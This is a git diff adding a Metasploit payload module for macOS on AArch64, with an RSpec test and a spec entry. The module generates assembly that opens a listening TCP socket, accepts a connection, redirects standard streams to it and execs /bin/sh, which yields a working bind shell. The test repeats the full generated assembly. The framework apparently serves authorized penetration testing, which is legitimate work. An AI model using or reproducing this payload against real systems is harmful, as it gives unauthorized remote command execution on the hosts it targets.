diff --git a/modules/payloads/singles/osx/aarch64/shell_bind_tcp.rb b/modules/payloads/singles/osx/aarch64/shell_bind_tcp.rb new file mode 100644 index 000000000000..b918466b2632 --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/shell_bind_tcp.rb @@ -0,0 +1,224 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 236 + + include Msf::Payload::Single + include Msf::Payload::Osx + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'OS X x64 Shell Bind TCP', + 'Description' => 'Bind an arbitrary command to an arbitrary port', + 'Author' => [ 'alanfoster' ], + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix + ) + ) + + # exec payload options + register_options( + [ + OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]), + Opt::LPORT(4444) + ] + ) + end + + def generate(_opts = {}) + # Split the cmd string into arg chunks + cmd_str = datastore['CMD'] + cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" } + + cmd = cmd_and_args[0] + args = cmd_and_args[1..] + + # Don't smash the real sp register, re-create our own on the x9 scratch register + stack_register = :x9 + cmd_string_in_x0 = create_aarch64_string_in_stack( + cmd, + registers: { + destination: :x0, + stack: stack_register + } + ) + + lport = datastore['LPORT'].to_i + lhost = datastore['LHOST'] + + lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join + lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') } + + result = <<~EOF + // socket(AF_INET, SOCK_STREAM, IPPROTO_IP) + // socket: + mov x0, 0x2 // x0 = AF_INET + mov x1, 0x1 // x1 = SOCK_STREAM + mov x2, 0 // x2 = IPPROTO_IP + movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061 + movk x16, #0x0061 + svc 0 // system call + + // Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13 + mov x13, x0 + + // int bind(int socket, const struct sockaddr *address, socklen_t address_len); + // bind: + // mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16 + lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET + movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport}) + movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr) + movk x1, #0x#{lhost_hex[0..1].join}, lsl #48 + str x1, [sp, #-8]! + mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it + add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it + mov x2, 16 // x2 = sizeof(struct sockaddr) = 16 + movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068 + movk x16, #0x0068 + svc 0 + + // int listen(int socket, int backlog); + // listen: + mov x0, x13 // x0 = socketfd, initially stored in x13 + movz x1, #0 // x1 = backlog = 0 + movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a + movk x16, #0x006a + svc 0 + + // int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len); + // accept: + mov x0, x13 // x0 = socketfd, initially stored in x13 + mov x1, #0 // x1 = restrict address = NULL + mov x2, #0 // x2 = address_len = 0 + movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e + movk x16, #0x001e + svc 0 + + // Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13 + mov x13, x0 + + // int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD) + // dup2_calls: + movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a + movk x16, #0x005a + mov x0, x13 // x0 = socket + movz x1, 0 // x1 = STDIN + svc 0 // system call + mov x0, x13 // x0 = socket + movz x1, 1 // x1 = STDOUT + svc 0 // system call + mov x0, x13 // x0 = socket + movz x1, 2 // x1 = STDERR + svc 0 // system call + // int execve(const char *path, char *const argv[], char *const envp[]); + // exec_call: + // Set system call SYS_EXECVE 0x200003b in x16 + movz x16, #0x0200, lsl #16 + movk x16, #0x003b + mov #{stack_register}, sp // Temporarily move SP into scratch register + // Arg 0: execve - const char *path - Pointer to the program name to run + #{cmd_string_in_x0} + // Push execve arguments, using x1 as a temporary register + #{args.each_with_index.map do |value, index| + "// Push argument #{index}\n" + + create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register }) + end.join("\n") + } + // Arg 1: execve - char *const argv[] - program arguments + #{cmd_and_args.each_with_index.map do |value, index| + bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8) + [ + "// argv[#{index}] = create pointer to base of string value #{value.inspect}", + "mov x1, #{stack_register}", + "sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string", + "str x1, [#{stack_register}], #8 // Store the pointer in the stack" + ].join("\n") + "\n" + end.join("\n")} + // argv[#{cmd_and_args.length}] = NULL + str xzr, [#{stack_register}], #8 + // Set execve arg1 to the base of the argv array of pointers + mov x1, #{stack_register} + sub x1, x1, ##{(cmd_and_args.length + 1) * 8} + // Arg 2: execve - char *const envp[] - Environment variables, NULL for now + mov x2, xzr + // System call + svc #0 + EOF + + compile_aarch64(result) + end + + def create_aarch64_string_in_stack(string, registers: {}) + target = registers.fetch(:destination, :x0) + stack = registers.fetch(:stack, :x9) + + # Instructions for pushing the bytes of the string 8 characters at a time + push_string = string.bytes + .each_slice(8) + .each_with_index + .flat_map do |eight_byte_chunk, _chunk_index| + mov_instructions = eight_byte_chunk + .each_slice(2) + .each_with_index + .map do |two_byte_chunk, index| + two_byte_chunk = two_byte_chunk.reverse + two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join + two_byte_chunk_chr = two_byte_chunk.map(&:chr).join + "mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}" + end + [ + "// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}", + *mov_instructions, + "str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8" + ] + end + push_string = push_string.join("\n") + "\n" + + set_target_register_to_base_of_string = <<~EOF + mov #{target}, #{stack} // Store the current stack location in the target register + sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string + EOF + + result = <<~EOF + #{push_string} + #{set_target_register_to_base_of_string} + EOF + + result + end + + def align(value, alignment: 8) + return value if value % alignment == 0 + + value + (alignment - (value % alignment)) + end + + def compile_aarch64(asm_string) + require 'aarch64/parser' + parser = ::AArch64::Parser.new + asm = parser.parse without_inline_comments(asm_string) + + asm.to_binary + end + + # Remove any human readable comments that have been inlined + def without_inline_comments(string) + comment_delimiter = '//' + result = string.lines(chomp: true).map do |line| + instruction, _comment = line.split(comment_delimiter, 2) + next if instruction.blank? + + instruction + end.compact + result.join("\n") + "\n" + end +end diff --git a/spec/modules/payloads/singles/osx/aarch64/shell_bind_tcp_spec.rb b/spec/modules/payloads/singles/osx/aarch64/shell_bind_tcp_spec.rb new file mode 100644 index 000000000000..d3633c9a4d76 --- /dev/null +++ b/spec/modules/payloads/singles/osx/aarch64/shell_bind_tcp_spec.rb @@ -0,0 +1,145 @@ +require 'rspec' + +RSpec.describe 'singles/osx/aarch64/shell_bind_tcp' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'osx/aarch64/shell_bind_tcp', + ancestor_reference_names: [ + 'singles/osx/aarch64/shell_bind_tcp' + ] + ) + end + let(:cmd) { nil } + let(:lhost) { '127.0.0.1' } + let(:lport) { '4444' } + let(:datastore_values) { { 'CMD' => cmd, 'LHOST' => lhost, 'LPORT' => lport } } + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe '#generate' do + # Verify that the compile command is called with the expected asm string + def expect_result_to_match(expected_asm) + allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm| + compiled_asm = original.call asm + expect(asm).to match_table(expected_asm) + expect(compiled_asm.length).to be > 0 + 'mock-aarch64-compiled' + end + expect(subject.generate).to eq 'mock-aarch64-compiled' + end + + context 'when the CMD is /bin/bash' do + let(:cmd) { '/bin/bash' } + + it 'generates the execve system call payload without arguments present' do + expected = <<~'EOF' + // socket(AF_INET, SOCK_STREAM, IPPROTO_IP) + // socket: + mov x0, 0x2 // x0 = AF_INET + mov x1, 0x1 // x1 = SOCK_STREAM + mov x2, 0 // x2 = IPPROTO_IP + movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061 + movk x16, #0x0061 + svc 0 // system call + + // Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13 + mov x13, x0 + + // int bind(int socket, const struct sockaddr *address, socklen_t address_len); + // bind: + // mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16 + lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET + movk x1, #0x5c11, lsl #16 // sin_port = htons(4444) + movk x1, #0x007f, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr) + movk x1, #0x0100, lsl #48 + str x1, [sp, #-8]! + mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it + add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it + mov x2, 16 // x2 = sizeof(struct sockaddr) = 16 + movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068 + movk x16, #0x0068 + svc 0 + + // int listen(int socket, int backlog); + // listen: + mov x0, x13 // x0 = socketfd, initially stored in x13 + movz x1, #0 // x1 = backlog = 0 + movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a + movk x16, #0x006a + svc 0 + + // int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len); + // accept: + mov x0, x13 // x0 = socketfd, initially stored in x13 + mov x1, #0 // x1 = restrict address = NULL + mov x2, #0 // x2 = address_len = 0 + movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e + movk x16, #0x001e + svc 0 + + // Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13 + mov x13, x0 + + // int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD) + // dup2_calls: + movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a + movk x16, #0x005a + mov x0, x13 // x0 = socket + movz x1, 0 // x1 = STDIN + svc 0 // system call + mov x0, x13 // x0 = socket + movz x1, 1 // x1 = STDOUT + svc 0 // system call + mov x0, x13 // x0 = socket + movz x1, 2 // x1 = STDERR + svc 0 // system call + // int execve(const char *path, char *const argv[], char *const envp[]); + // exec_call: + // Set system call SYS_EXECVE 0x200003b in x16 + movz x16, #0x0200, lsl #16 + movk x16, #0x003b + mov x9, sp // Temporarily move SP into scratch register + // Arg 0: execve - const char *path - Pointer to the program name to run + // Next 8 bytes of string: "/bin/bas" + movz x0, #0x622f // "b/" + movk x0, #0x6e69, lsl #16 // "ni" + movk x0, #0x622f, lsl #32 // "b/" + movk x0, #0x7361, lsl #48 // "sa" + str x0, [x9], #8 // Store x0 on x9-stack and increment by 8 + // Next 8 bytes of string: "h\x00" + movz x0, #0x0068 // "\x00h" + str x0, [x9], #8 // Store x0 on x9-stack and increment by 8 + + mov x0, x9 // Store the current stack location in the target register + sub x0, x0, #16 // Update the target register to point to base of the string + + + // Push execve arguments, using x1 as a temporary register + + // Arg 1: execve - char *const argv[] - program arguments + // argv[0] = create pointer to base of string value "/bin/bash\x00" + mov x1, x9 + sub x1, x1, #16 // Update the target register to point to base of the string + str x1, [x9], #8 // Store the pointer in the stack + + // argv[1] = NULL + str xzr, [x9], #8 + // Set execve arg1 to the base of the argv array of pointers + mov x1, x9 + sub x1, x1, #16 + // Arg 2: execve - char *const envp[] - Environment variables, NULL for now + mov x2, xzr + // System call + svc #0 + EOF + + expect_result_to_match(expected) + end + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 6b9029a65f3a..874cece7ada8 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2279,6 +2279,16 @@ reference_name: 'osx/aarch64/meterpreter_reverse_https' end + context 'osx/aarch64/shell_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/osx/aarch64/shell_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'osx/aarch64/shell_bind_tcp' + end + context 'osx/aarch64/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [